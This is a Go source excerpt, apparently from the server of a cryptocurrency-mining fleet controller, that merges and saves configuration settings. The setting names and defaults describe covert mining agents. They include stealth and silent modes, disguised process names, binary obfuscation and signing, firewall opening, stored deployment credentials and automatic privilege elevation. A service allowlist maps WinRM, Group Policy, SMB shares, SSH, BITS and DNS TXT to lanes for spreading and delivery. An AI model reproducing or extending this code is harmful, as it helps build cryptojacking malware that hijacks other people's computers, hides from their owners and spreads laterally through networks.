if src.TunnelDefaults.CloudflareTunnelToken != "" {
|
||
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
|
||
}
|
||
}
|
||
|
||
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
|
||
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
|
||
if present == nil {
|
||
return nil
|
||
}
|
||
raw, ok := present[section]
|
||
if !ok || len(raw) == 0 {
|
||
return nil
|
||
}
|
||
var nested map[string]json.RawMessage
|
||
if err := json.Unmarshal(raw, &nested); err != nil {
|
||
return nil
|
||
}
|
||
return nested
|
||
}
|
||
|
||
// mergeConfigExplicit is like mergeConfig but only applies fields when the
|
||
// corresponding JSON key was explicitly present in the PUT payload.
|
||
// Top-level absence preserves existing values (H14); nested absence within a
|
||
// section preserves sibling fields (partial PUT / import shallow-merge fix).
|
||
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||
if present == nil {
|
||
// Fall back to old behaviour if we have no key presence info
|
||
mergeConfig(dst, src)
|
||
return
|
||
}
|
||
has := func(key string) bool { _, ok := present[key]; return ok }
|
||
in := func(section map[string]json.RawMessage, key string) bool {
|
||
if section == nil {
|
||
return false
|
||
}
|
||
_, ok := section[key]
|
||
return ok
|
||
}
|
||
|
||
// Non-boolean scalar fields — safe to use zero-value guard
|
||
if has("port") && src.Port != 0 {
|
||
dst.Port = src.Port
|
||
}
|
||
if has("data_dir") && src.DataDir != "" {
|
||
dst.DataDir = src.DataDir
|
||
}
|
||
|
||
if has("pool") {
|
||
poolKeys := nestedJSONKeys(present, "pool")
|
||
if in(poolKeys, "host") && src.Pool.Host != "" {
|
||
dst.Pool.Host = src.Pool.Host
|
||
}
|
||
if in(poolKeys, "port") && src.Pool.Port != 0 {
|
||
dst.Pool.Port = src.Pool.Port
|
||
}
|
||
if in(poolKeys, "use_tls") {
|
||
dst.Pool.UseTLS = src.Pool.UseTLS
|
||
}
|
||
if in(poolKeys, "password") && src.Pool.Password != "" {
|
||
dst.Pool.Password = src.Pool.Password
|
||
}
|
||
if in(poolKeys, "backup_pools") {
|
||
dst.Pool.BackupPools = append([]PoolEndpoint(nil), src.Pool.BackupPools...)
|
||
}
|
||
}
|
||
|
||
if has("wallet") {
|
||
walletKeys := nestedJSONKeys(present, "wallet")
|
||
if in(walletKeys, "address") && src.Wallet.Address != "" {
|
||
dst.Wallet.Address = src.Wallet.Address
|
||
}
|
||
if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
|
||
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
||
}
|
||
}
|
||
|
||
if has("rvn_pool") {
|
||
rvnPoolKeys := nestedJSONKeys(present, "rvn_pool")
|
||
if in(rvnPoolKeys, "host") && src.RvnPool.Host != "" {
|
||
dst.RvnPool.Host = src.RvnPool.Host
|
||
}
|
||
if in(rvnPoolKeys, "port") && src.RvnPool.Port != 0 {
|
||
dst.RvnPool.Port = src.RvnPool.Port
|
||
}
|
||
if in(rvnPoolKeys, "use_tls") {
|
||
dst.RvnPool.UseTLS = src.RvnPool.UseTLS
|
||
}
|
||
if in(rvnPoolKeys, "password") && src.RvnPool.Password != "" {
|
||
dst.RvnPool.Password = src.RvnPool.Password
|
||
}
|
||
if in(rvnPoolKeys, "backup_pools") {
|
||
dst.RvnPool.BackupPools = append([]PoolEndpoint(nil), src.RvnPool.BackupPools...)
|
||
}
|
||
}
|
||
|
||
if has("rvn_wallet") {
|
||
rvnWalletKeys := nestedJSONKeys(present, "rvn_wallet")
|
||
if in(rvnWalletKeys, "address") && src.RvnWallet.Address != "" {
|
||
dst.RvnWallet.Address = src.RvnWallet.Address
|
||
}
|
||
}
|
||
|
||
// The JSON struct tag is "default_agent_config" — must match exactly.
|
||
if has("default_agent_config") {
|
||
daKeys := nestedJSONKeys(present, "default_agent_config")
|
||
if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
|
||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||
}
|
||
if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
|
||
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
||
}
|
||
if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
|
||
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
||
}
|
||
if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
|
||
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
||
}
|
||
if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
||
}
|
||
if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
|
||
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
||
}
|
||
if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
|
||
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
||
}
|
||
if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
|
||
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
||
}
|
||
if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
|
||
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
||
}
|
||
if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
|
||
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
||
}
|
||
if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
|
||
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
||
}
|
||
if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
|
||
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
||
}
|
||
if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
|
||
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
||
}
|
||
if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
|
||
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||
}
|
||
if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
|
||
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
||
}
|
||
if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
|
||
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
||
}
|
||
if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
|
||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||
}
|
||
if in(daKeys, "adapt_to_hardware") {
|
||
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||
}
|
||
if in(daKeys, "self_healing") {
|
||
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||
}
|
||
if in(daKeys, "file_logging") {
|
||
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||
}
|
||
if in(daKeys, "stealth_mode") {
|
||
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||
}
|
||
}
|
||
|
||
if has("background") {
|
||
bgKeys := nestedJSONKeys(present, "background")
|
||
if in(bgKeys, "silent_mode") {
|
||
dst.Background.SilentMode = src.Background.SilentMode
|
||
}
|
||
if in(bgKeys, "run_as") && src.Background.RunAs != "" {
|
||
dst.Background.RunAs = src.Background.RunAs
|
||
}
|
||
if in(bgKeys, "auto_start") {
|
||
dst.Background.AutoStart = src.Background.AutoStart
|
||
}
|
||
}
|
||
|
||
if has("alerts") {
|
||
alertKeys := nestedJSONKeys(present, "alerts")
|
||
if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
|
||
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
||
}
|
||
if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
|
||
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
||
}
|
||
if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
|
||
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
||
}
|
||
if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
|
||
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
||
}
|
||
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
|
||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||
}
|
||
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
|
||
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
||
}
|
||
if in(alertKeys, "email_enabled") {
|
||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||
}
|
||
if in(alertKeys, "notify_agent_connect") {
|
||
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
||
}
|
||
if in(alertKeys, "notify_agent_reconnect") {
|
||
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
||
}
|
||
if in(alertKeys, "notify_agent_offline") {
|
||
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
|
||
}
|
||
if in(alertKeys, "notify_hashrate_drop") {
|
||
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
||
}
|
||
if in(alertKeys, "notify_rejection_rate") {
|
||
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
||
}
|
||
if in(alertKeys, "notify_build_complete") {
|
||
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
||
}
|
||
if in(alertKeys, "notify_kev_exposure") {
|
||
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
||
}
|
||
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||
}
|
||
if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
|
||
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
||
}
|
||
if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
|
||
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
||
}
|
||
if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
|
||
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
||
}
|
||
if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
|
||
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
||
}
|
||
if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
|
||
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
||
}
|
||
}
|
||
|
||
if has("server") {
|
||
srvKeys := nestedJSONKeys(present, "server")
|
||
if in(srvKeys, "public_url") {
|
||
dst.Server.PublicURL = src.Server.PublicURL
|
||
}
|
||
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
|
||
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
||
}
|
||
if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
|
||
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
||
}
|
||
if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
|
||
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
||
}
|
||
if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
|
||
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
||
}
|
||
if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
|
||
dst.Server.MaxAgents = src.Server.MaxAgents
|
||
}
|
||
if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
|
||
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
||
}
|
||
if in(srvKeys, "log_agent_connections") {
|
||
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
||
}
|
||
if in(srvKeys, "log_share_submissions") {
|
||
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
||
}
|
||
if in(srvKeys, "log_pool_traffic") {
|
||
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
||
}
|
||
if in(srvKeys, "strict_wallet_validation") {
|
||
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
||
}
|
||
if in(srvKeys, "open_firewall_on_start") {
|
||
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||
}
|
||
if in(srvKeys, "obfuscate_default") {
|
||
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
||
}
|
||
if in(srvKeys, "sign_enabled") {
|
||
dst.Server.SignEnabled = src.Server.SignEnabled
|
||
}
|
||
if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
|
||
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||
}
|
||
if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
|
||
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
||
}
|
||
if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
|
||
dst.Server.SignToolPath = src.Server.SignToolPath
|
||
}
|
||
if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
|
||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||
}
|
||
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
|
||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||
}
|
||
if in(srvKeys, "public_builds_enabled") {
|
||
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
|
||
}
|
||
if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
|
||
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
|
||
}
|
||
if in(srvKeys, "adaptive_strategy_enabled") {
|
||
dst.Server.AdaptiveStrategyEnabled = src.Server.AdaptiveStrategyEnabled
|
||
}
|
||
if in(srvKeys, "ai_control_enabled") {
|
||
dst.Server.AIControlEnabled = src.Server.AIControlEnabled
|
||
}
|
||
if in(srvKeys, "atlas_lan_gossip_enabled") {
|
||
dst.Server.AtlasLanGossipEnabled = src.Server.AtlasLanGossipEnabled
|
||
}
|
||
if in(srvKeys, "fleet_roles_enabled") {
|
||
dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled
|
||
}
|
||
if in(srvKeys, "erasure_lanes_enabled") {
|
||
dst.Server.ErasureLanesEnabled = src.Server.ErasureLanesEnabled
|
||
}
|
||
if in(srvKeys, "fleet_torrent_enabled") {
|
||
dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled
|
||
}
|
||
if in(srvKeys, "ai_endpoint") {
|
||
dst.Server.AIEndpoint = src.Server.AIEndpoint
|
||
}
|
||
if in(srvKeys, "ai_local_endpoint") && src.Server.AIEndpoint != "" {
|
||
dst.Server.AIEndpoint = src.Server.AIEndpoint
|
||
}
|
||
if in(srvKeys, "ai_model") {
|
||
dst.Server.AIModel = src.Server.AIModel
|
||
}
|
||
if in(srvKeys, "ai_no_context") {
|
||
dst.Server.AINoContext = src.Server.AINoContext
|
||
}
|
||
if in(srvKeys, "ai_decision_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
|
||
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
|
||
}
|
||
if in(srvKeys, "ai_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
|
||
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
|
||
}
|
||
if in(srvKeys, "ai_auto_elevate_clearance") {
|
||
dst.Server.AIAutoElevateClearance = src.Server.AIAutoElevateClearance
|
||
}
|
||
if in(srvKeys, "ai_persona") && strings.TrimSpace(src.Server.AIPersona) != "" {
|
||
dst.Server.AIPersona = strings.TrimSpace(src.Server.AIPersona)
|
||
}
|
||
}
|
||
|
||
if has("tunnel_defaults") {
|
||
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
|
||
if in(tdKeys, "cloudflared_target_url") {
|
||
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
||
}
|
||
if in(tdKeys, "cloudflare_tunnel_token") {
|
||
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
|
||
}
|
||
}
|
||
|
||
if has("deployment_credentials") {
|
||
dst.DeploymentCredentials = append([]DeploymentCredProfile(nil), src.DeploymentCredentials...)
|
||
for i := range dst.DeploymentCredentials {
|
||
EnsureCredProfileID(&dst.DeploymentCredentials[i])
|
||
if strings.TrimSpace(dst.DeploymentCredentials[i].VaultRef) == "" {
|
||
dst.DeploymentCredentials[i].VaultRef = defaultVaultRef(dst.DeploymentCredentials[i].ID)
|
||
}
|
||
}
|
||
}
|
||
|
||
// Keep cloudflared default aligned with public_url when unset.
|
||
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
|
||
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
|
||
}
|
||
}
|
||
|
||
func hydrateLegacyAIConfig(cfg *Config, raw []byte) {
|
||
if cfg == nil || len(raw) == 0 {
|
||
return
|
||
}
|
||
var root map[string]json.RawMessage
|
||
if err := json.Unmarshal(raw, &root); err != nil {
|
||
return
|
||
}
|
||
srvRaw, ok := root["server"]
|
||
if !ok {
|
||
return
|
||
}
|
||
var srv map[string]json.RawMessage
|
||
if err := json.Unmarshal(srvRaw, &srv); err != nil {
|
||
return
|
||
}
|
||
if ep, ok := srv["ai_local_endpoint"]; ok && cfg.Server.AIEndpoint == "" {
|
||
var s string
|
||
if json.Unmarshal(ep, &s) == nil && strings.TrimSpace(s) != "" {
|
||
cfg.Server.AIEndpoint = strings.TrimSpace(s)
|
||
}
|
||
}
|
||
if iv, ok := srv["ai_interval_sec"]; ok && cfg.Server.AIDecisionIntervalSec == 0 {
|
||
var n int
|
||
if json.Unmarshal(iv, &n) == nil && n > 0 {
|
||
cfg.Server.AIDecisionIntervalSec = n
|
||
}
|
||
}
|
||
}
|
||
|
||
func (c *Config) Save() error {
|
||
configPath := filepath.Join(c.DataDir, "config.json")
|
||
data, err := json.MarshalIndent(c, "", " ")
|
||
if err != nil {
|
||
return fmt.Errorf("failed to marshal config: %w", err)
|
||
}
|
||
if err := os.WriteFile(configPath, data, 0644); err != nil {
|
||
return err
|
||
}
|
||
c.syncCloudflaredTokenFile()
|
||
return nil
|
||
}
|
||
|
||
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
|
||
return map[string]ServiceDeployLane{
|
||
"DoSvc": {Lane: "do_peer", Priority: 35},
|
||
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
||
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
|
||
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
|
||
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
|
||
"dns_txt": {Lane: "dns_txt", Priority: 33},
|
||
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
|
||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||
"com.docker.service": {Lane: "docker_load", Priority: 20},
|
||
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
|
||
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
|
||
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||
}
|
||
}
|
||
|
||
func (c *Config) PoolURL() string {
|
||
proto := "stratum+tcp"
|
||
if c.Pool.UseTLS {
|
||
proto = "stratum+ssl"
|
||
}
|
||
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
|
||
}
|